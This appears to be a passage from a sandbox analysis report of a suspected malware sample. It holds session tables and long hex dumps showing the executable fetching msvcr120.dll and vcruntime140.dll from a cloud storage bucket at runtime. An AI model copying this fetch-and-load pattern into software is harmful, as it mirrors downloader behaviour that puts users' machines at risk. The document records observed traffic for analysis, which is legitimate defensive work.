2024-07-25 13:13:37 UTC	8184	IN	Data Raw: 4b f0 01 00 59 6a 0b 59 8b f0 8d 7b 08 f3 a5 8d 4d 90 e8 da f5 ff ff 8b c3 e8 1e c9 02 00 c2 04 00 55 8b ec 8b 45 0c 83 ec 2c 53 8b d9 56 57 89 43 04 8d 45 d4 50 c7 03 44 15 00 10 e8 0e f0 01 00 59 6a 0b 59 8d 7b 08 8b f0 f3 a5 5f 5e 8b c3 5b 8b e5 5d c2 08 00 6a 38 b8 03 cc 03 10 e8 0b c9 02 00 8b 7d 08 33 f6 8b de 89 5d f0 85 ff 74 44 39 37 75 40 6a 34 ff 15 30 93 06 10 59 89 45 08 89 75 fc 85 c0 74 1e 8b 4d 0c e8 e7 f9 ff ff 50 8d 4d bc e8 3e f4 ff ff 8b 4d 08 43 56 50 e8 7d ff ff ff 8b f0 89 37 f6 c3 01 74 08 8d 4d bc e8 3c f5 ff ff 6a 02 58 e8 7f c8 02 00 c3 6a 00 e8 08 ff ff ff c3 55 8b ec 8b 45 08 89 41 04 8b c1 c7 01 70 15 00 10 5d c2 04 00 83 61 04 00 c7 01 70 15 00 10 c3 55 8b ec 8b 45 0c 8b 49 0c 0f b6 d0 66 8b 45 08 6a 00 66 85 04 51 58 0f 95 Data Ascii: KYjY{MUE,SVWCEPDYjY{_^[]j8}3]tD97u@j40YEutMPM>MCVP}7tM<jXjUEAp]apUEIfEjfQX
2024-07-25 13:13:37 UTC	8184	IN	Data Raw: 8b 4c 31 38 e8 93 f9 ff ff 0f b7 c0 8b c8 b8 ff ff 00 00 66 3b c1 75 20 8b 06 8b 48 04 03 ce 8b 41 0c 83 c8 01 83 79 38 00 75 03 83 c8 04 6a 00 50 e8 3f ed ff ff eb 4a 8b 07 51 6a 48 8b cf ff 50 10 84 c0 74 3c 8b 06 8b 40 04 8b 4c 30 38 e8 6b f9 ff ff eb b3 8b 4d ec 8b 01 8b 50 04 03 d1 8b 42 0c 83 c8 04 83 7a 38 00 75 03 83 c8 04 6a 01 50 8b ca e8 fc ec ff ff b8 7b 0a 01 10 c3 8b 75 ec 83 4d fc ff 8b 0e 8b 49 04 03 ce 83 79 0c 00 75 04 b0 01 eb 19 8b 41 0c 83 c8 02 83 79 38 00 75 03 83 c8 04 6a 00 50 e8 c7 ec ff ff 32 c0 e8 8f a8 02 00 c2 04 00 55 8b ec 53 8b 5d 08 56 53 8b f1 e8 7f 01 00 00 84 c0 74 1c 83 7e 14 10 72 04 8b 06 eb 02 8b c6 ff 75 0c 2b d8 8b ce 53 56 e8 b9 fa ff ff eb 43 57 8b 7d 0c 8b ce 6a 00 57 e8 ed 00 00 00 84 c0 74 2e 83 7e 14 10 72 Data Ascii: L18f;u HAy8ujP?JQjHPt<@L08kMPBz8ujP{uMIyuAy8ujP2US]VSt~ru+SVCW}jWt.~r
2024-07-25 13:13:37 UTC	8184	IN	Data Raw: 75 05 33 c0 40 5d c3 6a 02 58 5d c3 a9 ff 7f ff ff 75 0a 66 83 39 00 75 04 33 c0 5d c3 33 c0 66 85 d2 0f 95 c0 83 e8 02 5d c3 55 8b ec 8b 45 08 83 c0 02 5d c3 55 8b ec 51 56 8b 75 08 d9 06 dc 1d 50 12 00 10 df e0 d9 ee f6 c4 05 0f 8b 0c 01 00 00 d9 45 0c dd e1 df e0 f6 c4 44 0f 8b fa 00 00 00 d9 06 dc 1d 40 12 00 10 df e0 f6 c4 41 75 12 dd d9 33 c0 dd d8 40 d9 05 00 31 06 10 e9 dd 00 00 00 d9 06 dc 0d 20 12 00 10 d9 5d 08 d9 45 08 d8 d2 df e0 dd da f6 c4 05 7a 08 d9 05 48 12 00 10 eb 06 d9 05 18 12 00 10 d9 5d 08 d9 45 08 de c2 d9 c9 e8 33 84 02 00 0f b7 c8 0f bf c1 89 45 08 db 45 08 d9 5d 08 d9 06 d9 45 08 dd 05 a0 11 00 10 d8 c9 de ea dc 0d 10 12 00 10 de e9 d9 5d 08 d9 05 30 31 06 10 d9 c0 d9 e0 d9 45 08 d8 d1 df e0 dd d9 f6 c4 41 75 0f d8 d1 df e0 dd Data Ascii: u3@]jX]uf9u3]3f]UE]UQVuPED@Au3@1 ]EzH]E3EE]E]01EAu
2024-07-25 13:13:37 UTC	8184	IN	Data Raw: 47 3b f8 7f 0b 7c 04 3b f3 73 05 8b de 89 7d 10 85 db 74 12 53 ff 75 08 ff 75 f0 e8 f4 68 02 00 8b 4d fc 83 c4 0c 01 5d 08 03 cb 8b 55 f8 13 55 10 2b f3 89 55 f8 8b 55 f4 1b 7d 10 8b 42 30 29 18 8b 42 20 01 18 eb 28 8b 4d f4 8b 5d 08 8b 11 0f b6 03 50 ff 52 0c 83 f8 ff 74 2c 8b 4d fc 43 83 c1 01 89 5d 08 83 55 f8 00 83 c6 ff 83 d7 ff 8b 5d f4 89 4d fc 85 ff 0f 8f 5c ff ff ff 7c 08 85 f6 0f 85 52 ff ff ff 8b 4d fc 8b 55 f8 5e 5f 8b c1 5b 8b e5 5d c2 0c 00 6a 08 b8 1a d2 03 10 e8 e1 68 02 00 8b f1 89 75 ec 33 d2 89 55 f0 39 55 10 74 17 c7 06 ec 1c 00 10 c7 46 18 24 1c 00 10 89 55 fc c7 45 f0 01 00 00 00 8b 06 ff 75 0c ff 75 08 8b 40 04 c7 04 06 e8 1c 00 10 8b 06 8b 48 04 8d 41 e8 89 44 31 fc 8b 06 89 56 08 89 56 0c 8b 48 04 03 ce e8 bd f6 ff ff 8b c6 e8 52 Data Ascii: G;\|;s}tSuuhM]UU+UU}B0)B (M]PRt,MC]U]M\\|RMU^_[]jhu3U9UtF$UEuu@HAD1VVHR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49706	43.152.64.207	443	5056	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 13:13:40 UTC	135	OUT	GET /msvcr120.dll HTTP/1.1 User-Agent: Mozilla/5.0 Host: wwwdll-1323570959.cos.ap-singapore.myqcloud.com Cache-Control: no-cache
2024-07-25 13:13:41 UTC	472	IN	HTTP/1.1 200 OK Content-Type: application/x-msdownload Content-Length: 970912 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Thu, 25 Jul 2024 13:13:41 GMT ETag: "034ccadc1c073e4216e9466b720f9849" Last-Modified: Mon, 18 Mar 2024 00:32:34 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 3551019292791871068 x-cos-request-id: NjZhMjRmODVfY2FkNDgwYl9kNWIyXzY0NDExNQ== x-cos-server-side-encryption: AES256
2024-07-25 13:13:41 UTC	7732	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 53 39 02 12 17 58 6c 41 17 58 6c 41 17 58 6c 41 ca a7 a7 41 14 58 6c 41 17 58 6d 41 a7 58 6c 41 51 09 8c 41 b9 5a 6c 41 51 09 b3 41 76 58 6c 41 51 09 89 41 21 58 6c 41 51 09 8d 41 af 58 6c 41 51 09 b0 41 16 58 6c 41 51 09 b7 41 16 58 6c 41 51 09 b2 41 16 58 6c 41 52 69 63 68 17 58 6c 41 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e6 7c 4f 52 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$S9XlAXlAXlAAXlAXmAXlAQAZlAQAvXlAQA!XlAQAXlAQAXlAQAXlAQAXlARichXlAPEL\|OR"
2024-07-25 13:13:41 UTC	8184	IN	Data Raw: af 53 03 00 65 57 03 00 27 1f 0c 00 1f 76 0a 00 c4 b7 0a 00 46 e3 07 00 65 e3 07 00 d7 b3 07 00 84 3d 0a 00 49 15 03 00 12 03 0a 00 0f 2f 08 00 b1 2f 08 00 05 c1 02 00 27 e2 07 00 85 57 03 00 d2 7b 01 00 9c 33 08 00 5c ce 02 00 bf 3d 0a 00 63 89 08 00 46 e2 07 00 e4 34 08 00 ad 35 08 00 69 36 08 00 90 35 08 00 e5 38 08 00 04 39 08 00 86 36 08 00 a7 36 08 00 c9 36 08 00 ea 36 08 00 2b 44 03 00 7a 37 08 00 bd 25 03 00 7a 3a 08 00 97 37 08 00 b8 37 08 00 da 37 08 00 fb 37 08 00 e4 1a 0a 00 4a 1c 0a 00 6c 02 08 00 b0 02 08 00 00 03 08 00 42 03 08 00 92 03 08 00 d9 03 08 00 38 06 08 00 50 06 08 00 81 76 0a 00 d4 78 0a 00 24 39 08 00 3e 39 08 00 5a 39 08 00 77 39 08 00 94 39 08 00 b3 39 08 00 d1 e4 07 00 a3 e5 07 00 17 e5 07 00 5d e5 07 00 37 b8 0a 00 d1 b8 0a Data Ascii: SeW'vFe=I//'W{3\=cF45i65896666+Dz7%z:7777JlB8Pvx$9>9Z9w999]7
2024-07-25 13:13:41 UTC	8184	IN	Data Raw: 1f cd 00 00 2b cd 00 00 35 cd 00 00 41 cd 00 00 4c cd 00 00 59 cd 00 00 62 cd 00 00 6d cd 00 00 75 cd 00 00 7d cd 00 00 87 cd 00 00 90 cd 00 00 9b cd 00 00 a5 cd 00 00 af cd 00 00 b9 cd 00 00 c5 cd 00 00 d2 cd 00 00 dc cd 00 00 e7 cd 00 00 f2 cd 00 00 fd cd 00 00 0a ce 00 00 15 ce 00 00 21 ce 00 00 2e ce 00 00 36 ce 00 00 40 ce 00 00 4a ce 00 00 56 ce 00 00 61 ce 00 00 67 ce 00 00 71 ce 00 00 7d ce 00 00 8b ce 00 00 97 ce 00 00 a5 ce 00 00 b3 ce 00 00 be ce 00 00 cb ce 00 00 d8 ce 00 00 e2 ce 00 00 e8 ce 00 00 f1 ce 00 00 fa ce 00 00 02 cf 00 00 0a cf 00 00 14 cf 00 00 1d cf 00 00 28 cf 00 00 31 cf 00 00 3c cf 00 00 48 cf 00 00 54 cf 00 00 5c cf 00 00 63 cf 00 00 6c cf 00 00 77 cf 00 00 80 cf 00 00 8b cf 00 00 92 cf 00 00 9b cf 00 00 a2 cf 00 00 ab cf 00 Data Ascii: +5ALYbmu}!.6@JVagq}(1<HT\clw
2024-07-25 13:13:41 UTC	8184	IN	Data Raw: 31 32 40 40 5a 00 3f 3f 30 5f 54 61 73 6b 43 6f 6c 6c 65 63 74 69 6f 6e 40 64 65 74 61 69 6c 73 40 43 6f 6e 63 75 72 72 65 6e 63 79 40 40 51 41 45 40 58 5a 00 3f 3f 30 5f 54 69 6d 65 72 40 64 65 74 61 69 6c 73 40 43 6f 6e 63 75 72 72 65 6e 63 79 40 40 49 41 45 40 49 5f 4e 40 5a 00 3f 3f 30 5f 5f 6e 6f 6e 5f 72 74 74 69 5f 6f 62 6a 65 63 74 40 73 74 64 40 40 51 41 45 40 41 42 56 30 31 40 40 5a 00 3f 3f 30 5f 5f 6e 6f 6e 5f 72 74 74 69 5f 6f 62 6a 65 63 74 40 73 74 64 40 40 51 41 45 40 50 42 44 40 5a 00 3f 3f 30 62 61 64 5f 63 61 73 74 40 73 74 64 40 40 41 41 45 40 50 42 51 42 44 40 5a 00 3f 3f 30 62 61 64 5f 63 61 73 74 40 73 74 64 40 40 51 41 45 40 41 42 56 30 31 40 40 5a 00 3f 3f 30 62 61 64 5f 63 61 73 74 40 73 74 64 40 40 51 41 45 40 50 42 44 40 5a 00 Data Ascii: 12@@Z??0_TaskCollection@details@Concurrency@@QAE@XZ??0_Timer@details@Concurrency@@IAE@I_N@Z??0__non_rtti_object@std@@QAE@ABV01@@Z??0__non_rtti_object@std@@QAE@PBD@Z??0bad_cast@std@@AAE@PBQBD@Z??0bad_cast@std@@QAE@ABV01@@Z??0bad_cast@std@@QAE@PBD@Z
2024-07-25 13:13:41 UTC	8184	IN	Data Raw: 53 70 69 6e 57 61 69 74 40 24 30 41 40 40 64 65 74 61 69 6c 73 40 43 6f 6e 63 75 72 72 65 6e 63 79 40 40 49 41 45 58 58 5a 00 3f 5f 47 65 74 40 5f 43 75 72 72 65 6e 74 53 63 68 65 64 75 6c 65 72 40 64 65 74 61 69 6c 73 40 43 6f 6e 63 75 72 72 65 6e 63 79 40 40 53 41 3f 41 56 5f 53 63 68 65 64 75 6c 65 72 40 32 33 40 58 5a 00 3f 5f 47 65 74 43 6f 6e 63 52 54 54 72 61 63 65 49 6e 66 6f 40 43 6f 6e 63 75 72 72 65 6e 63 79 40 40 59 41 50 42 55 5f 43 4f 4e 43 52 54 5f 54 52 41 43 45 5f 49 4e 46 4f 40 64 65 74 61 69 6c 73 40 31 40 58 5a 00 3f 5f 47 65 74 43 6f 6e 63 75 72 72 65 6e 63 79 40 64 65 74 61 69 6c 73 40 43 6f 6e 63 75 72 72 65 6e 63 79 40 40 59 41 49 58 5a 00 3f 5f 47 65 74 43 75 72 72 65 6e 74 49 6e 6c 69 6e 65 44 65 70 74 68 40 5f 53 74 61 63 6b 47 Data Ascii: SpinWait@$0A@@details@Concurrency@@IAEXXZ?_Get@_CurrentScheduler@details@Concurrency@@SA?AV_Scheduler@23@XZ?_GetConcRTTraceInfo@Concurrency@@YAPBU_CONCRT_TRACE_INFO@details@1@XZ?_GetConcurrency@details@Concurrency@@YAIXZ?_GetCurrentInlineDepth@_StackG
2024-07-25 13:13:41 UTC	8184	IN	Data Raw: 74 5f 74 6c 73 69 6e 64 65 78 00 5f 5f 67 65 74 6d 61 69 6e 61 72 67 73 00 5f 5f 69 6e 69 74 65 6e 76 00 5f 5f 69 6f 62 5f 66 75 6e 63 00 5f 5f 69 73 61 73 63 69 69 00 5f 5f 69 73 63 73 79 6d 00 5f 5f 69 73 63 73 79 6d 66 00 5f 5f 69 73 77 63 73 79 6d 00 5f 5f 69 73 77 63 73 79 6d 66 00 5f 5f 6c 63 6f 6e 76 00 5f 5f 6c 63 6f 6e 76 5f 69 6e 69 74 00 5f 5f 6c 69 62 6d 5f 73 73 65 32 5f 61 63 6f 73 00 5f 5f 6c 69 62 6d 5f 73 73 65 32 5f 61 63 6f 73 66 00 5f 5f 6c 69 62 6d 5f 73 73 65 32 5f 61 73 69 6e 00 5f 5f 6c 69 62 6d 5f 73 73 65 32 5f 61 73 69 6e 66 00 5f 5f 6c 69 62 6d 5f 73 73 65 32 5f 61 74 61 6e 00 5f 5f 6c 69 62 6d 5f 73 73 65 32 5f 61 74 61 6e 32 00 5f 5f 6c 69 62 6d 5f 73 73 65 32 5f 61 74 61 6e 66 00 5f 5f 6c 69 62 6d 5f 73 73 65 32 5f 63 6f 73 Data Ascii: t_tlsindex__getmainargs__initenv__iob_func__isascii__iscsym__iscsymf__iswcsym__iswcsymf__lconv__lconv_init__libm_sse2_acos__libm_sse2_acosf__libm_sse2_asin__libm_sse2_asinf__libm_sse2_atan__libm_sse2_atan2__libm_sse2_atanf__libm_sse2_cos
2024-07-25 13:13:41 UTC	8184	IN	Data Raw: 6f 63 5f 63 72 74 5f 6d 61 78 5f 77 61 69 74 00 5f 73 65 74 5f 6f 75 74 70 75 74 5f 66 6f 72 6d 61 74 00 5f 73 65 74 5f 70 72 69 6e 74 66 5f 63 6f 75 6e 74 5f 6f 75 74 70 75 74 00 5f 73 65 74 5f 70 75 72 65 63 61 6c 6c 5f 68 61 6e 64 6c 65 72 00 5f 73 65 74 65 72 72 6f 72 6d 6f 64 65 00 5f 73 65 74 6a 6d 70 00 5f 73 65 74 6a 6d 70 33 00 5f 73 65 74 6d 61 78 73 74 64 69 6f 00 5f 73 65 74 6d 62 63 70 00 5f 73 65 74 6d 6f 64 65 00 5f 73 65 74 73 79 73 74 69 6d 65 00 5f 73 6c 65 65 70 00 5f 73 6e 70 72 69 6e 74 66 00 5f 73 6e 70 72 69 6e 74 66 5f 63 00 5f 73 6e 70 72 69 6e 74 66 5f 63 5f 6c 00 5f 73 6e 70 72 69 6e 74 66 5f 6c 00 5f 73 6e 70 72 69 6e 74 66 5f 73 00 5f 73 6e 70 72 69 6e 74 66 5f 73 5f 6c 00 5f 73 6e 73 63 61 6e 66 00 5f 73 6e 73 63 61 6e 66 5f Data Ascii: oc_crt_max_wait_set_output_format_set_printf_count_output_set_purecall_handler_seterrormode_setjmp_setjmp3_setmaxstdio_setmbcp_setmode_setsystime_sleep_snprintf_snprintf_c_snprintf_c_l_snprintf_l_snprintf_s_snprintf_s_l_snscanf_snscanf_
2024-07-25 13:13:41 UTC	8184	IN	Data Raw: 46 69 6c 65 20 74 6f 6f 20 6c 61 72 67 65 00 90 4e 6f 20 73 70 61 63 65 20 6c 65 66 74 20 6f 6e 20 64 65 76 69 63 65 00 49 6e 76 61 6c 69 64 20 73 65 65 6b 00 90 90 90 52 65 61 64 2d 6f 6e 6c 79 20 66 69 6c 65 20 73 79 73 74 65 6d 00 90 90 54 6f 6f 20 6d 61 6e 79 20 6c 69 6e 6b 73 00 90 42 72 6f 6b 65 6e 20 70 69 70 65 00 44 6f 6d 61 69 6e 20 65 72 72 6f 72 00 90 90 90 52 65 73 75 6c 74 20 74 6f 6f 20 6c 61 72 67 65 00 90 90 90 52 65 73 6f 75 72 63 65 20 64 65 61 64 6c 6f 63 6b 20 61 76 6f 69 64 65 64 00 90 90 46 69 6c 65 6e 61 6d 65 20 74 6f 6f 20 6c 6f 6e 67 00 90 90 4e 6f 20 6c 6f 63 6b 73 20 61 76 61 69 6c 61 62 6c 65 00 90 46 75 6e 63 74 69 6f 6e 20 6e 6f 74 20 69 6d 70 6c 65 6d 65 6e 74 65 64 00 90 90 90 44 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 65 Data Ascii: File too largeNo space left on deviceInvalid seekRead-only file systemToo many linksBroken pipeDomain errorResult too largeResource deadlock avoidedFilename too longNo locks availableFunction not implementedDirectory not e
2024-07-25 13:13:41 UTC	8184	IN	Data Raw: 4e 00 4f 00 00 00 90 90 61 00 72 00 2d 00 54 00 4e 00 00 00 65 00 6e 00 2d 00 5a 00 41 00 00 00 65 00 73 00 2d 00 44 00 4f 00 00 00 73 00 72 00 2d 00 42 00 41 00 2d 00 43 00 79 00 72 00 6c 00 00 00 90 90 73 00 6d 00 61 00 2d 00 53 00 45 00 00 00 90 90 61 00 72 00 2d 00 4f 00 4d 00 00 00 65 00 6e 00 2d 00 4a 00 4d 00 00 00 65 00 73 00 2d 00 56 00 45 00 00 00 73 00 6d 00 73 00 2d 00 46 00 49 00 00 00 90 90 61 00 72 00 2d 00 59 00 45 00 00 00 65 00 6e 00 2d 00 43 00 42 00 00 00 65 00 73 00 2d 00 43 00 4f 00 00 00 73 00 6d 00 6e 00 2d 00 46 00 49 00 00 00 90 90 61 00 72 00 2d 00 53 00 59 00 00 00 65 00 6e 00 2d 00 42 00 5a 00 00 00 65 00 73 00 2d 00 50 00 45 00 00 00 61 00 72 00 2d 00 4a 00 4f 00 00 00 65 00 6e 00 2d 00 54 00 54 00 00 00 65 00 73 00 2d 00 41 Data Ascii: NOar-TNen-ZAes-DOsr-BA-Cyrlsma-SEar-OMen-JMes-VEsms-FIar-YEen-CBes-COsmn-FIar-SYen-BZes-PEar-JOen-TTes-A
2024-07-25 13:13:41 UTC	8184	IN	Data Raw: 4c 24 04 2b c1 c3 8d 41 fc 8b 4c 24 04 2b c1 c3 8d 41 fe 8b 4c 24 04 2b c1 c3 8d 41 fd 8b 4c 24 04 2b c1 c3 55 8b ec 8b 55 14 8b 4d 08 56 85 d2 0f 84 5f e5 00 00 85 c9 0f 84 64 e5 00 00 8b 45 0c 85 c0 0f 84 59 e5 00 00 85 d2 0f 84 5b e5 00 00 8b 75 10 85 f6 0f 84 a2 38 04 00 53 8b d9 57 8b f8 83 fa ff 75 1e 2b de 8a 06 88 04 33 46 84 c0 74 03 4f 75 f3 85 ff 5f 5b 0f 84 d5 bf 01 00 33 c0 5e 5d c3 2b f1 8a 04 1e 88 03 43 84 c0 74 06 4f 74 03 4a 75 f0 85 d2 75 db 88 13 eb d7 55 56 57 53 8b ea 33 c0 33 db 33 d2 33 f6 33 ff ff d1 5b 5f 5e 5d c3 55 8b ec 83 ec 18 8b 45 08 8b 55 0c 53 8b 5d 14 56 57 c6 45 ff 00 8b 7b 08 8d 73 10 33 38 c7 45 f4 01 00 00 00 8b 07 83 f8 fe 0f 85 a5 d1 04 00 8b 47 08 8b 4f 0c 03 ce 33 0c 30 ff d2 8b 45 10 f6 40 04 66 0f 85 24 d5 00 Data Ascii: L$+AL$+AL$+AL$+UUMV_dEY[u8SWu+3FtOu_[3^]+CtOtJuuUVWS33333[_^]UEUS]VWE{s38EGO30E@f$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49707	43.152.64.207	443	5056	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 13:13:44 UTC	139	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 Host: wwwdll-1323570959.cos.ap-singapore.myqcloud.com Cache-Control: no-cache
2024-07-25 13:13:44 UTC	472	IN	HTTP/1.1 200 OK Content-Type: application/x-msdownload Content-Length: 91104 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Thu, 25 Jul 2024 13:13:44 GMT ETag: "9c133b18fa9ed96e1aeb2da66e4a4f2b" Last-Modified: Mon, 18 Mar 2024 00:32:34 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 15584681233261869999 x-cos-request-id: NjZhMjRmODhfYTNlZjc4MGJfMTc4NjNfNjU2MjVh x-cos-server-side-encryption: AES256
2024-07-25 13:13:44 UTC	7732	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 8f b4 8a e1 ee da d9 e1 ee da d9 e1 ee da d9 32 9c db d8 e3 ee da d9 e8 96 49 d9 ea ee da d9 e1 ee db d9 c8 ee da d9 e7 6f d9 d8 f2 ee da d9 e7 6f de d8 f7 ee da d9 e7 6f df d8 fd ee da d9 e7 6f da d8 e0 ee da d9 e7 6f 25 d9 e0 ee da d9 e7 6f d8 d8 e0 ee da d9 52 69 63 68 e1 ee da d9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 04 73 87 13 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$2Iooooo%oRichPELs"
2024-07-25 13:13:44 UTC	16368	IN	Data Raw: c8 28 00 00 1c 00 00 00 2e 72 64 61 74 61 24 73 78 64 61 74 61 00 00 00 e4 28 00 00 b0 00 00 00 2e 72 64 61 74 61 24 76 6f 6c 74 6d 64 00 00 00 94 29 00 00 3c 02 00 00 2e 72 64 61 74 61 24 7a 7a 7a 64 62 67 00 00 00 d0 2b 00 00 13 ce 00 00 2e 74 65 78 74 24 6d 6e 00 00 00 00 e3 f9 00 00 4d 00 00 00 2e 74 65 78 74 24 78 00 30 fa 00 00 10 03 00 00 2e 78 64 61 74 61 24 78 00 00 00 00 40 fd 00 00 14 09 00 00 2e 65 64 61 74 61 00 00 00 10 01 00 94 00 00 00 2e 64 61 74 61 00 00 00 94 10 01 00 b8 00 00 00 2e 64 61 74 61 24 72 00 4c 11 01 00 b4 00 00 00 2e 64 61 74 61 24 72 73 00 00 00 00 00 12 01 00 64 04 00 00 2e 62 73 73 00 00 00 00 00 20 01 00 bc 00 00 00 2e 69 64 61 74 61 24 35 00 00 00 00 bc 20 01 00 08 00 00 00 2e 30 30 63 66 67 00 00 c4 20 01 00 78 00 00 Data Ascii: (.rdata$sxdata(.rdata$voltmd)<.rdata$zzzdbg+.text$mnM.text$x0.xdata$x@.edata.data.data$rL.data$rsd.bss .idata$5 .00cfg x
2024-07-25 13:13:44 UTC	8184	IN	Data Raw: a4 85 00 00 57 ff 75 14 ff 75 0c e8 12 06 00 00 57 e8 c2 07 00 00 83 c4 10 50 e8 79 05 00 00 cc 55 8b ec 83 ec 38 53 8b 5d 08 81 3b 03 00 00 80 0f 84 17 01 00 00 56 57 e8 17 16 00 00 33 ff 39 78 08 74 46 57 ff 15 48 20 01 10 8b f0 e8 02 16 00 00 39 70 08 74 33 81 3b 4d 4f 43 e0 74 2b 81 3b 52 43 43 e0 74 23 ff 75 24 ff 75 20 ff 75 18 ff 75 14 ff 75 10 ff 75 0c 53 e8 19 84 00 00 83 c4 1c 85 c0 0f 85 c1 00 00 00 8b 45 18 89 45 ec 89 7d f0 39 78 0c 0f 86 b4 00 00 00 ff 75 20 50 ff 75 14 8d 45 ec ff 75 1c 50 8d 45 dc 50 e8 18 83 00 00 8b 55 e0 83 c4 18 8b 45 dc 89 45 f4 89 55 fc 3b 55 e8 0f 83 80 00 00 00 6b ca 14 89 4d f8 8b 00 8d 7d c8 6a 05 8b 70 10 8b 45 1c 03 f1 59 f3 a5 39 45 c8 7f 4e 3b 45 cc 7f 49 8b 4d d4 8b 45 d8 c1 e1 04 83 c0 f0 03 c1 8b 48 04 85 Data Ascii: WuuWPyU8S];VW39xtFWH 9pt3;MOCt+;RCCt#u$u uuuuSEE}9xu PuEuPEPUEEU;UkM}jpEY9EN;EIMEH
2024-07-25 13:13:44 UTC	8184	IN	Data Raw: 03 eb 03 83 26 00 8b c6 5e 5d c2 04 00 55 8b ec 8b 55 0c 83 fa 09 77 20 83 39 ff 74 17 3b 11 7f 13 8b 54 91 04 8b 45 08 8b 0a 89 08 8b 4a 04 89 48 04 eb 11 6a 02 eb 02 6a 03 8b 4d 08 e8 70 fd ff ff 8b 45 08 5d c2 08 00 55 8b ec 51 51 ff 75 0c 8d 4d f8 e8 e9 fc ff ff ff 75 10 8b c8 ff 75 08 e8 74 00 00 00 8b 45 08 c9 c3 55 8b ec 51 51 ff 75 0c 83 65 f8 00 8d 4d f8 83 65 fc 00 e8 42 10 00 00 ff 75 10 8d 4d f8 ff 75 08 e8 49 00 00 00 8b 45 08 c9 c3 55 8b ec 51 51 ff 75 0c 8d 4d f8 e8 0c fd ff ff ff 75 10 8b c8 ff 75 08 e8 27 00 00 00 8b 45 08 c9 c3 55 8b ec 8b 11 56 8b 75 08 ff 75 0c 89 16 8b 49 04 89 4e 04 8b ce e8 6d 00 00 00 8b c6 5e 5d c2 08 00 55 8b ec 8b 11 56 8b 75 08 ff 75 0c 89 16 8b 49 04 89 4e 04 8b ce e8 a3 00 00 00 8b c6 5e 5d c2 08 00 55 8b ec Data Ascii: &^]UUw 9t;TEJHjjMpE]UQQuMuutEUQQueMeBuMuIEUQQuMuu'EUVuuINm^]UVuuIN^]U
2024-07-25 13:13:44 UTC	8184	IN	Data Raw: ff ff eb 30 6a 08 b9 1c 13 01 10 e8 1f 14 00 00 8b f0 85 f6 74 13 8b ce e8 cb de ff ff c7 06 44 22 00 10 c6 46 04 20 eb 02 33 f6 56 8d 4d dc e8 bd da ff ff 8d 45 c8 50 8d 45 d0 50 8d 4d dc e8 9e e0 ff ff 8b 08 8b 58 04 89 4d f4 89 5d f8 8b 4d b8 85 c9 74 2e 8b 45 bc 89 4d c0 8d 4d c0 6a 20 89 45 c4 e8 8e e1 ff ff 8d 45 f4 50 8d 45 d0 50 8d 4d c0 e8 69 e0 ff ff 8b 08 8b 58 04 89 4d f4 89 5d f8 8b 45 d8 a8 10 0f 84 f5 00 00 00 83 7d 18 00 0f 85 69 03 00 00 85 ff 0f 8e 89 00 00 00 8d 45 e8 c7 45 e8 fc 1d 00 10 50 8d 4d d0 c7 45 ec 02 00 00 00 e8 8f dc ff ff 8d 4d f4 51 8d 4d e8 51 8b c8 e8 18 e0 ff ff 8b 45 e8 89 45 f4 8b 45 ec 89 45 f8 a1 00 13 01 10 80 38 00 74 23 8d 45 d0 50 e8 08 24 00 00 59 8d 4d f4 51 8d 4d a8 51 8b c8 e8 e9 df ff ff 8b 08 8b 58 04 89 Data Ascii: 0jtD"F 3VMEPEPMXM]Mt.EMMj EEPEPMiXM]E}iEEPMEMQMQEEEE8t#EP$YMQMQX
2024-07-25 13:13:44 UTC	8184	IN	Data Raw: 56 50 e8 07 dd ff ff 50 ff 75 08 e8 d8 d6 ff ff 83 c4 1c eb 93 6a 01 56 ff 75 08 8d 41 01 a3 00 13 01 10 e8 0b 01 00 00 e9 78 ff ff ff 56 ff 75 08 8d 41 01 a3 00 13 01 10 e8 01 ef ff ff e9 dd fe ff ff 8d 45 f0 8d 4d f8 50 39 16 74 10 c7 45 f0 4c 20 00 10 c7 45 f4 09 00 00 00 eb 0e c7 45 f0 58 20 00 10 c7 45 f4 08 00 00 00 e8 59 bf ff ff 8b 0d 00 13 01 10 6a 03 e9 df fe ff ff 83 e8 53 0f 84 9f 00 00 00 83 e8 01 74 4c 48 83 e8 01 74 29 83 e8 03 74 0f 8b 4d 08 6a 02 e8 21 bd ff ff e9 02 ff ff ff ff 75 08 8d 41 01 a3 00 13 01 10 e8 01 08 00 00 e9 66 fe ff ff 8b 55 0c 8d 41 01 a3 00 13 01 10 8b 45 08 